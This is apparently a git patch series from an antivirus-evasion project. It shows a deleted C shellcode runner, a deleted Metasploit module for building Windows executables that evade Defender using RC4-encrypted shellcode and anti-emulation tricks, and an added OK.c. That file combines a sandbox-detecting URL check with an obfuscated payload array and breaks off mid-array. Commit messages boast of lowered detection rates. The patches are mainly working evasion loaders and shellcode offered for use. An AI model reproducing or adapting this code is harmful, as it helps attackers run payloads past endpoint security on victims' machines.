zsj!FTF;#u!&4A@GeHb=K*U8lB)ivV4sxeb6dLbtYh5>J*8XPGZJxa1qLK3VT4}`h| zbvTu$r4Wuz2L?vGhjHQzBUjsV*Zl{23wt~QYw0cQ@ji41N$3U#6naB7<1gMxev>t}Gr&Vt+V2uN$09+Zi?Ps5E6-k{-T2*0M`RtTGExC6p^8t#Fx zl7{5~+S*Ic=X3i1^53Yy!@w@LmhdKbzVN{1n1G|A@5-d&w;uHSMkw=!w-e0%@LRl5 z7bZR9Px3JmL47$#tlYWi{zl*}k05tQAfIq#|J7?zbBEy?ST%nm2q(;yrKutnXYZ zTQH$zb(*ng#t#+eg1tJTJn(+wiIjhQKJ}7z_vxftuSV&wMDV_-=w?`cwCCke^#;Jwr?UzgE-q`u&!Rh1XFfx7^w_|4c>i(iqQRw;o zImD919aLtIEXBE*$SY8b?(AFJ8oF`o1Hrlu`R&_o?G~%gNp&a=Vibq0y0v+QpYLB8{`dSlsp)et*XH z2MJ$~k$Ob<-EoxfHWfd+p2|%f6ZT|^*xZ%*v)fk>T6_fGlgm~=-i!U^Z&>8`Oo>8s5CZ{gZ~BCC=32{V>&kJ&1C7+qmO)2o*^ADQs| z{?qOT{=JEMq3`RNPdz+iFP0FGa&|eeTtj=WWs1t{G91dz`bcNymv3IG4;u8#>lr>e zt#(W4pV2_Z8hnpQ?_@7qgB@{5qw&*1Y7(K|@`QXU>tgljhti zqBdS%pXho(8_c*m>BJ+M7i;R?MR=jGeRQ4qU_hh?IdSb%vwhE}`xec~+xyk^FB~$1 z*0~>B?>ojJbxqxl`()t#tjd8c3ziw3S})F7&>9zHZ`$5$`HjO&daj#{UP#?P3{pc^_TC?i3K^y7b~Y%OKNaS?L6sosFcal_@EJ%T{NlkZDkxN~UI$Y9uv#C6NWqQ{^Le|7v{D$NzHU zVtkQ=t0MVg0_6!XLM1{~Dg{Og6mqVFl%t4($43=P1u7s&u~4Gm%lQhv2<37KJ|@9L z5){EujEC{XC`NFVLR2gk2t^7WCRg!LzCyuOi4nPgi^(OVLL}jlJcUpxSE2&3oKy(- zDomvmC=jk#MG~k=DV7UF0=Sd}bbL8VC`AGZLCO)agjDeaJVJyKVhL9y5z9p?rASVo zVm`^kgd~Cz3XF#;_zIyyKqz@4k%-3^iukBXp_1^$DglxlNrX$^UlNYv!Kz>~C^+c- zRe|yG_?omp^(s}CYL!Mq1O_ApE=o_0R|RFt5D_X6@)SxD2vC7yaxp5Bh?GhcRbm36 MQY4Z5*BqID0;SH|r2qf` diff --git a/testings/yip_yop.c b/testings/yip_yop.c deleted file mode 100644 index 5be70b926d89..000000000000 --- a/testings/yip_yop.c +++ /dev/null @@ -1,75 +0,0 @@ -unsigned char buf[] = -"\x56\x50\x52\x57\xda\xd9\xd9\x74\x24\xf4\x5a\x57\x50\x58" -"\x5f\x29\xf6\x57\x50\x58\x5f\x81\xee\x34\xff\xff\xff\xbf" -"\xef\xee\xad\x38\x31\x7a\x2d\x83\xea\xfc\x47\x4f\x90\xff" -"\xce\x75\xf3\x5f\x5a\x58\x5e\xbd\xbe\xfb\x69\x35\x2f\x74" -"\x4c\xcb\x1a\xf4\x7a\xa5\xc7\x7f\xa8\x7f\x7e\x3d\xb9\x05" -"\xae\x52\xc7\x10\x56\x39\x3d\xa0\xc3\x9c\x79\xc3\xaf\xec" -"\x79\xae\xae\xe5\xbb\x2d\x11\xd8\xca\xb6\xb0\xf5\x62\x2c" -"\xbd\xb3\x47\xa1\x3a\x3b\x61\x5f\x1f\xb8\x43\x25\x7b\xd3" -"\xe3\x2a\xbc\xbd\x4c\xfa\x05\xaf\xea\x84\x14\x5b\xbc\x74" -"\x87\x07\x24\x31\xc6\x61\xd7\x7f\xbc\xbd\x85\xf8\x05\xe3" -"\x60\x89\xb1\xbb\x4b\x24\x15\xbb\x2b\xce\x99\x24\xa0\xea" -"\x66\x19\x26\xc9\x1d\xc4\x8f\xce\x10\xb7\x21\x1f\xac\xb4" -"\x86\x61\xbd\x55\xd8\xdd\x73\x85\x48\xd9\x6e\x6e\xbe\x9a" -"\x12\xb5\xe9\x1d\xac\xec\x0c\x6c\x1a\xb7\x27\xc1\xb3\xff" -"\x1e\xa4\x39\x77\x91\x82\xc7\x5a\x16\xa4\xb5\xf0\x12\xdf" -"\x23\x3e\xd8\x66\x73\x2f\xa0\x90\x1c\x51\xb7\x4f\x94\xb3" -"\x94\x22\xd2\xe0\x65\xb0\xa5\xe8\x0e\xa6\xbb\x51\x80\x83" -"\x10\xf4\x16\xaf\xbb\x89\x06\x78\x61\x03\x84\xf3\x43\xfd" -"\xa1\x71\x61\x8b\x0f\x74\x06\x19\x06\x7a\x6f\x82\xd4\xc2" -"\x44\x26\xaa\xd5\x89\x35\x1e\x16\x6c\xe8\x26\x04\xb4\x1a" -"\x51\x78\x6d\x49\xd6\xea\xc8\xac\xa7\x74\x6d\x82\x0d\x94" -"\x2c\xb6\x58\x1f\x9c\x3c\x7a\xe2\x88\xbe\x9e\x56\xec\xcc" -"\xce\x56\xec\x75\x9e\x47\x94\x65\xf1\x39\x83\x5f\xac\x8d" -"\xe9\x79\x3f\x95\x51\x66\xcd\xc2\xff\x23\xff\x45\xbc\x1a" -"\x7b\x34\x22\xbe\x56\x9c\x88\xff\xcc\x09\x04\x7f\x42\x2e" -"\xfa\x5a\xc2\x09\x8f\xf7\xc0\x73\x28\xfd\xca\x03\x85\x2f" -"\x75\xd7\x21\x51\x64\xe5\x8d\x0d\x85\x5c\xef\xd7\xb5\xd9" -"\x1f\xaa\x18\x99\xed\x2d\x5d\xa5\xab\x5c\xc0\x05\x87\xf0" -"\x9f\xa9\x96\xfa\x11\x19\x19\xdc\xec\x0d\x9a\x38\x58\x69" -"\xf1\x68\x58\x69\x50\x38\x49\x11\x5a\x57\x37\x06\x7f\x35" -"\x2c\x38\x3a\x99\xb2\xd4\x82\xea\x8a\xbb\x97\xf7\x4b\x39" -"\x3f\xdd\x3a\xa3\x9e\xf0\x97\x32\x75\x39\x60\xbe\xfd\xb0" -"\x46\x40\xd0\x37\x70\x2e\x65\x20\x03\xa4\x75\x3b\x68\x3d" -"\xa5\x81\x95\x9b\xdb\x96\x8b\xb0\x2d\x77\xd6\x55\x6a\x44" -"\xb1\x8a\xd8\xea\xf0\x57\xdb\xa1\x47\x97\x7e\x31\x6b\x3a" -"\x0c\x88\xa3\x80\xf0\x60\x4c\xb1\x22\xe9\xc9\xe4\x7b\x32" -"\x1c\x0b\xa2\x6c\xa7\xd2\xe4\x51\xd3\x0b\x82\x48\x23\x37" -"\xba\x46\x1d\x40\x5c\x5c\x4d\xfc\xf2\x4c\x0c\x41\x3f\x6d" -"\x2d\x47\xb9\x15\xc3\xd2\x7b\x32\x3c\xd7\x7b\x22\x10\x81" -"\x20\xeb\x6c\xf8\x75\xa0\x58\xcc\xf1\xb0\xa7\xc8\xe8\x30" -"\xa7\xd8\xd0\x61\xff\x05\x39\x14\x10\xb1\x0f\x29\xa7\xb4" -"\x7b\x61\xfa\xb1\x30\xcc\xed\x4f\xfd\x61\xeb\xb8\x10\x15" -"\xd8\x83\x8d\x98\x17\xfd\xd4\x15\xcc\xd8\x7b\x38\x08\x81" -"\x23\x06\xa7\x8c\xbb\xeb\x74\x9c\xf1\xb3\xa7\x84\x7b\x61" -"\xfc\x09\xb4\x44\x08\xdb\xab\x01\x75\xda\xa1\x9f\xcc\xd8" -"\xaf\x3a\xa7\x92\x19\xe0\xd3\x7f\x0f\x3d\x44\xb3\xc2\x60" -"\x2c\xe8\x87\x13\x1e\xdf\xa4\x08\x60\xf7\xd6\x67\xa5\x68" -"\x0f\xb0\x94\x10\xf1\x60\x2c\xa9\x34\x34\x7c\xe8\xd9\xe0" -"\x47\x80\x0f\xb5\x46\x8a\x98\xa0\x84\x81\xc1\x08\x2e\x80" -"\xe1\x3c\xa5\x66\xa0\x30\x7c\xd0\xb0\x30\x6c\xd0\x98\x8a" -"\x23\x5f\x10\x9f\xf9\x17\x9a\x70\x7a\xd7\x98\xf9\x89\xf4" -"\x91\x9f\xf9\x05\x30\x14\x26\x7f\xbe\x68\x59\x6c\x18\x07" -"\x2c\x80\xf0\x0a\x2c\xea\xf4\x36\x7b\xe8\xf2\xb9\xe4\xdf" -"\x0f\xb5\xaf\x78\xf0\x1e\x1a\x0b\xc6\x0a\x6c\xe8\xf0\x70" -"\x2c\x80\xa6\x0a\x2c\xe8\xa8\xc4\x7f\x65\x0f\xb5\xbf\xd3" -"\x9a\x60\x7a\xd3\xa7\x08\x2e\x59\x38\x3f\xd3\x55\x73\x98" -"\x2c\xfd\xd8\x38\x44\x80\xb0\x60\x2c\xea\xf0\x30\x44\x8b" -"\xdf\x6f\x1c\x7f\x25\x37\x44\xf5\x9e\x2d\x4d\x7f\x25\x3e" -"\x72\x7f\xfc\x44\x23\x05\x80\x9f\xd3\x7f\x19\xfb\xd3\x7f" -"\x0f\x61\xef\xa9\x36\x15\xed\x43\x4b\x90\x99\x22\xa6\x0a" -"\x2c\xd3\x0f\xb5\x2c\x80\x24\x69\x32\xf9\xc0\xa8\x9b\x5a" -"\x7c\xe5\x0e\x2a\x37\xae\x48\xf6\xeb\xe2\x15"; - -int main(int ac, char**av) -{ - LPVOID lpBuf = VirtualAlloc(NULL, lpBufSize, MEM_COMMIT, 0x00000040); - HANDLE proc = OpenProcess(0x1F0FFF, false, 4); - // Checking NULL allows us to get around Real-time protection - if (proc == NULL) { - void (*func)(); - func = (void (*)()) buf; - (void)(*func)(); - } -} From f59fca41fb12e0e04e83c88e4aff78ef7820cf4a Mon Sep 17 00:00:00 2001 From: Arthur RAOUT Date: Mon, 23 Jan 2023 20:35:00 +0100 Subject: [PATCH 03/22] Del test.rb --- modules/evasion/windows/test.rb | 80 --------------------------------- 1 file changed, 80 deletions(-) delete mode 100644 modules/evasion/windows/test.rb diff --git a/modules/evasion/windows/test.rb b/modules/evasion/windows/test.rb deleted file mode 100644 index 1d5ab78d5c09..000000000000 --- a/modules/evasion/windows/test.rb +++ /dev/null @@ -1,80 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'metasploit/framework/compiler/windows' - -class MetasploitModule < Msf::Evasion - - def initialize(info={}) - super(merge_info(info, - 'Name' => 'Microsoft Windows Defender Evasive Executable', - 'Description' => %q{ - This module allows you to generate a Windows EXE that evades against Microsoft - Windows Defender. Multiple techniques such as shellcode encryption, source code - obfuscation, Metasm, and anti-emulation are used to achieve this. - - For best results, please try to use payloads that use a more secure channel - such as HTTPS or RC4 in order to avoid the payload network traffic getting - caught by antivirus better. - }, - 'Author' => [ 'sinn3r' ], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Targets' => [ ['Microsoft Windows', {}] ] - )) - end - - def rc4_key - @rc4_key ||= Rex::Text.rand_text_alpha(32..64) - end - - def get_payload - @c_payload ||= lambda { - opts = { format: 'rc4', key: rc4_key } - junk = Rex::Text.rand_text(10..1024) - p = payload.encoded + junk - - return { - size: p.length, - c_format: Msf::Simple::Buffer.transform(p, 'c', 'buf', opts) - } - }.call - end - - def c_template - @c_template ||= %Q|#include -#include - -// The encrypted code allows us to get around static scanning -#{get_payload[:c_format]} - -int main() { - int lpBufSize = sizeof(int) * #{get_payload[:size]}; - LPVOID lpBuf = VirtualAlloc(NULL, lpBufSize, MEM_COMMIT, 0x00000040); - memset(lpBuf, '\\0', lpBufSize); - - HANDLE proc = OpenProcess(0x1F0FFF, false, 4); - // Checking NULL allows us to get around Real-time protection - if (proc == NULL) { - RC4("#{rc4_key}", buf, (char*) lpBuf, #{get_payload[:size]}); - void (*func)(); - func = (void (*)()) lpBuf; - (void)(*func)(); - } - - return 0; -}| - end - - def run - print_status("source:\n#{c_template}") - # The randomized code allows us to generate a unique EXE - bin = Metasploit::Framework::Compiler::Windows.compile_random_c(c_template) - print_status("Compiled executable size: #{bin.length}") - file_create(bin) - end - -end From c4dbdbb6483982f8db81f29acee45fd4be205a24 Mon Sep 17 00:00:00 2001 From: Arthur RAOUT Date: Mon, 23 Jan 2023 22:37:18 +0100 Subject: [PATCH 04/22] Added url checking, antiscan-> 2/27 virtotal->12/70 --- OK.c | 1579 +++++++++++++++++++++++ OK.exe | Bin 0 -> 117447 bytes modules/evasion/windows/no_shellcode.rb | 77 +- 3 files changed, 1637 insertions(+), 19 deletions(-) create mode 100644 OK.c create mode 100755 OK.exe diff --git a/OK.c b/OK.c new file mode 100644 index 000000000000..c54f976fbecc --- /dev/null +++ b/OK.c @@ -0,0 +1,1579 @@ + +#include +#include +#include +#pragma comment(lib, "Psapi.lib") +#pragma comment(lib, "Wininet.lib") + +// The encrypted code allows us to get around static scanning + +int size = 1505; +char *buf[1505]; + +#define max_op 419454535 + +int check_url() +{ + char cononstart[] = "https://www.jHpMPOZseyiKmwu.com"; //Invalid URL + char readbuf[1024]; + HINTERNET httpopen, openurl; + DWORD read; + httpopen=InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); + openurl=InternetOpenUrl(httpopen,cononstart,NULL,NULL,INTERNET_FLAG_RELOAD|INTERNET_FLAG_NO_CACHE_WRITE,NULL); + if (!openurl) // Access failed, we are not in AV + { + InternetCloseHandle(httpopen); + InternetCloseHandle(openurl); + return 1; + } + else + { + InternetCloseHandle(httpopen); + InternetCloseHandle(openurl); + return 0; + } + return 0; +} + + +int main(int argc, char **argv) +{ + + if (!check_url()) + exit(1); + buf[0] = '\x22c'-496; + buf[1] = '\x240'-496; + buf[2] = '\x2cc'-496; + buf[3] = '\x285'-496; + buf[4] = '\x227'-496; + buf[5] = '\x20d'-496; + buf[6] = '\x233'-496; + buf[7] = '\x2a5'-496; + buf[8] = '\x260'-496; + buf[9] = '\x1fb'-496; + buf[10] = '\x288'-496; + buf[11] = '\x2c1'-496; + buf[12] = '\x274'-496; + buf[13] = '\x21f'-496; + buf[14] = '\x29d'-496; + buf[15] = '\x29d'-496; + buf[16] = '\x276'-496; + buf[17] = '\x251'-496; + buf[18] = '\x2c6'-496; + buf[19] = '\x1f1'-496; + buf[20] = '\x202'-496; + buf[21] = '\x20e'-496; + buf[22] = '\x275'-496; + buf[23] = '\x25a'-496; + buf[24] = '\x20d'-496; + buf[25] = '\x1fc'-496; + buf[26] = '\x209'-496; + buf[27] = '\x27f'-496; + buf[28] = '\x2cd'-496; + buf[29] = '\x2a2'-496; + buf[30] = '\x281'-496; + buf[31] = '\x298'-496; + buf[32] = '\x25e'-496; + buf[33] = '\x28a'-496; + buf[34] = '\x2b9'-496; + buf[35] = '\x244'-496; + buf[36] = '\x20d'-496; + buf[37] = '\x283'-496; + buf[38] = '\x1f2'-496; + buf[39] = '\x204'-496; + buf[40] = '\x232'-496; + buf[41] = '\x238'-496; + buf[42] = '\x2b1'-496; + buf[43] = '\x223'-496; + buf[44] = '\x270'-496; + buf[45] = '\x269'-496; + buf[46] = '\x1f9'-496; + buf[47] = '\x20d'-496; + buf[48] = '\x249'-496; + buf[49] = '\x239'-496; + buf[50] = '\x23d'-496; + buf[51] = '\x241'-496; + buf[52] = '\x229'-496; + buf[53] = '\x209'-496; + buf[54] = '\x212'-496; + buf[55] = '\x2cc'-496; + buf[56] = '\x2b2'-496; + buf[57] = '\x244'-496; + buf[58] = '\x2cb'-496; + buf[59] = '\x2d8'-496; + buf[60] = '\x254'-496; + buf[61] = '\x27c'-496; + buf[62] = '\x223'-496; + buf[63] = '\x221'-496; + buf[64] = '\x288'-496; + buf[65] = '\x2bc'-496; + buf[66] = '\x22c'-496; + buf[67] = '\x2d4'-496; + buf[68] = '\x298'-496; + buf[69] = '\x2ec'-496; + buf[70] = '\x2d7'-496; + buf[71] = '\x2b3'-496; + buf[72] = '\x2bd'-496; + buf[73] = '\x2e8'-496; + buf[74] = '\x247'-496; + buf[75] = '\x220'-496; + buf[76] = '\x2e7'-496; + buf[77] = '\x27f'-496; + buf[78] = '\x2a4'-496; + buf[79] = '\x238'-496; + buf[80] = '\x284'-496; + buf[81] = '\x2cf'-496; + buf[82] = '\x2e2'-496; + buf[83] = '\x2da'-496; + buf[84] = '\x2dd'-496; + buf[85] = '\x266'-496; + buf[86] = '\x218'-496; + buf[87] = '\x215'-496; + buf[88] = '\x2a2'-496; + buf[89] = '\x251'-496; + buf[90] = '\x2b6'-496; + buf[91] = '\x27f'-496; + buf[92] = '\x2a0'-496; + buf[93] = '\x1f5'-496; + buf[94] = '\x1ff'-496; + buf[95] = '\x259'-496; + buf[96] = '\x262'-496; + buf[97] = '\x253'-496; + buf[98] = '\x290'-496; + buf[99] = '\x2eb'-496; + buf[100] = '\x27e'-496; + buf[101] = '\x232'-496; + buf[102] = '\x262'-496; + buf[103] = '\x285'-496; + buf[104] = '\x252'-496; + buf[105] = '\x2b9'-496; + buf[106] = '\x259'-496; + buf[107] = '\x26e'-496; + buf[108] = '\x1fb'-496; + buf[109] = '\x236'-496; + buf[110] = '\x24e'-496; + buf[111] = '\x2bd'-496; + buf[112] = '\x1f8'-496; + buf[113] = '\x227'-496; + buf[114] = '\x276'-496; + buf[115] = '\x220'-496; + buf[116] = '\x20b'-496; + buf[117] = '\x27e'-496; + buf[118] = '\x26d'-496; + buf[119] = '\x2b9'-496; + buf[120] = '\x256'-496; + buf[121] = '\x242'-496; + buf[122] = '\x21b'-496; + buf[123] = '\x298'-496; + buf[124] = '\x28f'-496; + buf[125] = '\x219'-496; + buf[126] = '\x1f0'-496; + buf[127] = '\x274'-496; + buf[128] = '\x2bb'-496; + buf[129] = '\x28e'-496; + buf[130] = '\x287'-496; + buf[131] = '\x2cc'-496; + buf[132] = '\x25f'-496; + buf[133] = '\x25e'-496; + buf[134] = '\x2c1'-496; + buf[135] = '\x1f1'-496; + buf[136] = '\x276'-496; + buf[137] = '\x236'-496; + buf[138] = '\x21a'-496; + buf[139] = '\x2d6'-496; + buf[140] = '\x2a3'-496; + buf[141] = '\x2b8'-496; + buf[142] = '\x263'-496; + buf[143] = '\x2d8'-496; + buf[144] = '\x228'-496; + buf[145] = '\x224'-496; + buf[146] = '\x2e7'-496; + buf[147] = '\x203'-496; + buf[148] = '\x262'-496; + buf[149] = '\x2be'-496; + buf[150] = '\x2b6'-496; + buf[151] = '\x261'-496; + buf[152] = '\x215'-496; + buf[153] = '\x222'-496; + buf[154] = '\x1f4'-496; + buf[155] = '\x1f8'-496; + buf[156] = '\x27d'-496; + buf[157] = '\x2d5'-496; + buf[158] = '\x21a'-496; + buf[159] = '\x2ac'-496; + buf[160] = '\x233'-496; + buf[161] = '\x29e'-496; + buf[162] = '\x2a3'-496; + buf[163] = '\x25e'-496; + buf[164] = '\x2b7'-496; + buf[165] = '\x1fe'-496; + buf[166] = '\x282'-496; + buf[167] = '\x21b'-496; + buf[168] = '\x2c1'-496; + buf[169] = '\x296'-496; + buf[170] = '\x2b4'-496; + buf[171] = '\x2ae'-496; + buf[172] = '\x2d1'-496; + buf[173] = '\x293'-496; + buf[174] = '\x296'-496; + buf[175] = '\x239'-496; + buf[176] = '\x2ee'-496; + buf[177] = '\x216'-496; + buf[178] = '\x2c9'-496; + buf[179] = '\x217'-496; + buf[180] = '\x22e'-496; + buf[181] = '\x255'-496; + buf[182] = '\x2ed'-496; + buf[183] = '\x296'-496; + buf[184] = '\x28e'-496; + buf[185] = '\x260'-496; + buf[186] = '\x28b'-496; + buf[187] = '\x20b'-496; + buf[188] = '\x25a'-496; + buf[189] = '\x28e'-496; + buf[190] = '\x295'-496; + buf[191] = '\x2e7'-496; + buf[192] = '\x2c9'-496; + buf[193] = '\x29e'-496; + buf[194] = '\x2d2'-496; + buf[195] = '\x2c2'-496; + buf[196] = '\x27a'-496; + buf[197] = '\x270'-496; + buf[198] = '\x21b'-496; + buf[199] = '\x2a0'-496; + buf[200] = '\x234'-496; + buf[201] = '\x27e'-496; + buf[202] = '\x2ed'-496; + buf[203] = '\x2ba'-496; + buf[204] = '\x1f3'-496; + buf[205] = '\x29b'-496; + buf[206] = '\x2c3'-496; + buf[207] = '\x285'-496; + buf[208] = '\x265'-496; + buf[209] = '\x25e'-496; + buf[210] = '\x21a'-496; + buf[211] = '\x269'-496; + buf[212] = '\x263'-496; + buf[213] = '\x235'-496; + buf[214] = '\x245'-496; + buf[215] = '\x2ec'-496; + buf[216] = '\x25b'-496; + buf[217] = '\x2e7'-496; + buf[218] = '\x2cc'-496; + buf[219] = '\x2ce'-496; + buf[220] = '\x2b0'-496; + buf[221] = '\x260'-496; + buf[222] = '\x27d'-496; + buf[223] = '\x2a1'-496; + buf[224] = '\x230'-496; + buf[225] = '\x1f5'-496; + buf[226] = '\x2bf'-496; + buf[227] = '\x22f'-496; + buf[228] = '\x238'-496; + buf[229] = '\x1fd'-496; + buf[230] = '\x25c'-496; + buf[231] = '\x262'-496; + buf[232] = '\x2e6'-496; + buf[233] = '\x1fd'-496; + buf[234] = '\x2e4'-496; + buf[235] = '\x2cb'-496; + buf[236] = '\x204'-496; + buf[237] = '\x2e3'-496; + buf[238] = '\x27a'-496; + buf[239] = '\x217'-496; + buf[240] = '\x27c'-496; + buf[241] = '\x1f7'-496; + buf[242] = '\x237'-496; + buf[243] = '\x2d3'-496; + buf[244] = '\x2df'-496; + buf[245] = '\x1f7'-496; + buf[246] = '\x2e0'-496; + buf[247] = '\x20e'-496; + buf[248] = '\x294'-496; + buf[249] = '\x283'-496; + buf[250] = '\x276'-496; + buf[251] = '\x2dc'-496; + buf[252] = '\x2c0'-496; + buf[253] = '\x2c2'-496; + buf[254] = '\x2dc'-496; + buf[255] = '\x25e'-496; + buf[256] = '\x22e'-496; + buf[257] = '\x2a5'-496; + buf[258] = '\x24d'-496; + buf[259] = '\x28b'-496; + buf[260] = '\x2b3'-496; + buf[261] = '\x26c'-496; + buf[262] = '\x20b'-496; + buf[263] = '\x214'-496; + buf[264] = '\x282'-496; + buf[265] = '\x239'-496; + buf[266] = '\x2c9'-496; + buf[267] = '\x1fd'-496; + buf[268] = '\x263'-496; + buf[269] = '\x2ce'-496; + buf[270] = '\x279'-496; + buf[271] = '\x241'-496; + buf[272] = '\x2c0'-496; + buf[273] = '\x21a'-496; + buf[274] = '\x1f1'-496; + buf[275] = '\x2de'-496; + buf[276] = '\x27d'-496; + buf[277] = '\x2bd'-496; + buf[278] = '\x2cb'-496; + buf[279] = '\x27e'-496; + buf[280] = '\x1f1'-496; + buf[281] = '\x1f9'-496; + buf[282] = '\x2ca'-496; + buf[283] = '\x28c'-496; + buf[284] = '\x2c0'-496; + buf[285] = '\x209'-496; + buf[286] = '\x273'-496; + buf[287] = '\x2a9'-496; + buf[288] = '\x23d'-496; + buf[289] = '\x2d8'-496; + buf[290] = '\x24a'-496; + buf[291] = '\x20f'-496; + buf[292] = '\x266'-496; + buf[293] = '\x2bb'-496; + buf[294] = '\x27e'-496; + buf[295] = '\x250'-496; + buf[296] = '\x2a8'-496; + buf[297] = '\x259'-496; + buf[298] = '\x26d'-496; + buf[299] = '\x273'-496; + buf[300] = '\x259'-496; + buf[301] = '\x226'-496; + buf[302] = '\x219'-496; + buf[303] = '\x210'-496; + buf[304] = '\x22e'-496; + buf[305] = '\x215'-496; + buf[306] = '\x2dd'-496; + buf[307] = '\x2de'-496; + buf[308] = '\x2d8'-496; + buf[309] = '\x279'-496; + buf[310] = '\x1fc'-496; + buf[311] = '\x281'-496; + buf[312] = '\x251'-496; + buf[313] = '\x2b1'-496; + buf[314] = '\x2a8'-496; + buf[315] = '\x2d6'-496; + buf[316] = '\x212'-496; + buf[317] = '\x235'-496; + buf[318] = '\x1f6'-496; + buf[319] = '\x23b'-496; + buf[320] = '\x2e9'-496; + buf[321] = '\x2e1'-496; + buf[322] = '\x2ce'-496; + buf[323] = '\x294'-496; + buf[324] = '\x21a'-496; + buf[325] = '\x25d'-496; + buf[326] = '\x2cd'-496; + buf[327] = '\x1fb'-496; + buf[328] = '\x2ce'-496; + buf[329] = '\x25e'-496; + buf[330] = '\x2b1'-496; + buf[331] = '\x249'-496; + buf[332] = '\x223'-496; + buf[333] = '\x27b'-496; + buf[334] = '\x222'-496; + buf[335] = '\x2ba'-496; + buf[336] = '\x238'-496; + buf[337] = '\x2c0'-496; + buf[338] = '\x277'-496; + buf[339] = '\x28c'-496; + buf[340] = '\x237'-496; + buf[341] = '\x2b3'-496; + buf[342] = '\x2ea'-496; + buf[343] = '\x2c7'-496; + buf[344] = '\x2b7'-496; + buf[345] = '\x2e7'-496; + buf[346] = '\x292'-496; + buf[347] = '\x2c5'-496; + buf[348] = '\x209'-496; + buf[349] = '\x2ef'-496; + buf[350] = '\x2ba'-496; + buf[351] = '\x235'-496; + buf[352] = '\x29f'-496; + buf[353] = '\x27c'-496; + buf[354] = '\x28d'-496; + buf[355] = '\x2c0'-496; + buf[356] = '\x2c9'-496; + buf[357] = '\x28d'-496; + buf[358] = '\x1fe'-496; + buf[359] = '\x229'-496; + buf[360] = '\x2c8'-496; + buf[361] = '\x24b'-496; + buf[362] = '\x26c'-496; + buf[363] = '\x23e'-496; + buf[364] = '\x27c'-496; + buf[365] = '\x2de'-496; + buf[366] = '\x289'-496; + buf[367] = '\x2b1'-496; + buf[368] = '\x2e7'-496; + buf[369] = '\x286'-496; + buf[370] = '\x22f'-496; + buf[371] = '\x2e3'-496; + buf[372] = '\x295'-496; + buf[373] = '\x242'-496; + buf[374] = '\x225'-496; + buf[375] = '\x2b4'-496; + buf[376] = '\x20c'-496; + buf[377] = '\x20b'-496; + buf[378] = '\x263'-496; + buf[379] = '\x224'-496; + buf[380] = '\x2d7'-496; + buf[381] = '\x229'-496; + buf[382] = '\x219'-496; + buf[383] = '\x2d3'-496; + buf[384] = '\x1fa'-496; + buf[385] = '\x2df'-496; + buf[386] = '\x226'-496; + buf[387] = '\x223'-496; + buf[388] = '\x241'-496; + buf[389] = '\x295'-496; + buf[390] = '\x252'-496; + buf[391] = '\x263'-496; + buf[392] = '\x2ee'-496; + buf[393] = '\x246'-496; + buf[394] = '\x264'-496; + buf[395] = '\x25e'-496; + buf[396] = '\x2c3'-496; + buf[397] = '\x2b6'-496; + buf[398] = '\x20d'-496; + buf[399] = '\x208'-496; + buf[400] = '\x2c4'-496; + buf[401] = '\x24b'-496; + buf[402] = '\x271'-496; + buf[403] = '\x259'-496; + buf[404] = '\x26c'-496; + buf[405] = '\x24f'-496; + buf[406] = '\x23a'-496; + buf[407] = '\x235'-496; + buf[408] = '\x214'-496; + buf[409] = '\x1f2'-496; + buf[410] = '\x254'-496; + buf[411] = '\x250'-496; + buf[412] = '\x229'-496; + buf[413] = '\x264'-496; + buf[414] = '\x252'-496; + buf[415] = '\x2ab'-496; + buf[416] = '\x296'-496; + buf[417] = '\x260'-496; + buf[418] = '\x203'-496; + buf[419] = '\x275'-496; + buf[420] = '\x1fa'-496; + buf[421] = '\x276'-496; + buf[422] = '\x25b'-496; + buf[423] = '\x20f'-496; + buf[424] = '\x26e'-496; + buf[425] = '\x295'-496; + buf[426] = '\x27c'-496; + buf[427] = '\x215'-496; + buf[428] = '\x2c9'-496; + buf[429] = '\x210'-496; + buf[430] = '\x2ba'-496; + buf[431] = '\x1fb'-496; + buf[432] = '\x25a'-496; + buf[433] = '\x2a9'-496; + buf[434] = '\x21c'-496; + buf[435] = '\x209'-496; + buf[436] = '\x2dd'-496; + buf[437] = '\x2e4'-496; + buf[438] = '\x270'-496; + buf[439] = '\x269'-496; + buf[440] = '\x26f'-496; + buf[441] = '\x262'-496; + buf[442] = '\x218'-496; + buf[443] = '\x2b9'-496; + buf[444] = '\x23e'-496; + buf[445] = '\x211'-496; + buf[446] = '\x2dd'-496; + buf[447] = '\x1f1'-496; + buf[448] = '\x2b2'-496; + buf[449] = '\x21e'-496; + buf[450] = '\x281'-496; + buf[451] = '\x262'-496; + buf[452] = '\x2d8'-496; + buf[453] = '\x27c'-496; + buf[454] = '\x2ea'-496; + buf[455] = '\x2dc'-496; + buf[456] = '\x21d'-496; + buf[457] = '\x229'-496; + buf[458] = '\x2c6'-496; + buf[459] = '\x296'-496; + buf[460] = '\x232'-496; + buf[461] = '\x2ea'-496; + buf[462] = '\x212'-496; + buf[463] = '\x286'-496; + buf[464] = '\x23f'-496; + buf[465] = '\x219'-496; + buf[466] = '\x263'-496; + buf[467] = '\x294'-496; + buf[468] = '\x29a'-496; + buf[469] = '\x291'-496; + buf[470] = '\x1fc'-496; + buf[471] = '\x2c5'-496; + buf[472] = '\x205'-496; + buf[473] = '\x2e5'-496; + buf[474] = '\x23e'-496; + buf[475] = '\x2cd'-496; + buf[476] = '\x234'-496; + buf[477] = '\x241'-496; + buf[478] = '\x2c2'-496; + buf[479] = '\x2a8'-496; + buf[480] = '\x2b7'-496; + buf[481] = '\x254'-496; + buf[482] = '\x2ea'-496; + buf[483] = '\x278'-496; + buf[484] = '\x2ce'-496; + buf[485] = '\x282'-496; + buf[486] = '\x1fc'-496; + buf[487] = '\x273'-496; + buf[488] = '\x295'-496; + buf[489] = '\x29f'-496; + buf[490] = '\x242'-496; + buf[491] = '\x298'-496; + buf[492] = '\x215'-496; + buf[493] = '\x2db'-496; + buf[494] = '\x1fc'-496; + buf[495] = '\x207'-496; + buf[496] = '\x212'-496; + buf[497] = '\x26d'-496; + buf[498] = '\x208'-496; + buf[499] = '\x232'-496; + buf[500] = '\x2a5'-496; + buf[501] = '\x291'-496; + buf[502] = '\x21d'-496; + buf[503] = '\x267'-496; + buf[504] = '\x2dd'-496; + buf[505] = '\x273'-496; + buf[506] = '\x268'-496; + buf[507] = '\x238'-496; + buf[508] = '\x242'-496; + buf[509] = '\x2a3'-496; + buf[510] = '\x2a2'-496; + buf[511] = '\x286'-496; + buf[512] = '\x22b'-496; + 